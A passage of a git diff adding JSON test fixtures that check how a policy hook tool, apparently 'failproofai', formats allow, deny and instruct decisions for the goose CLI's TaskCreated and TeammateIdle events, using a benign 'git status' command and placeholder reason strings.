}, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2b32272e --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..67ddb9e1 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..55991305 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d096c222 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..34ef4c95 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2fc6b441 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a6996d09 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7489f744 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4725c189 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c162532f --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1517b52b --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..78e1da9e --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fc279516 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..88b8d564 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f9933547 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..636e19c0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c8e89cb0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..39886df4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..9cf3108b --- /dev/null +++ b/__tests__/parity/fixtures/goose/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": 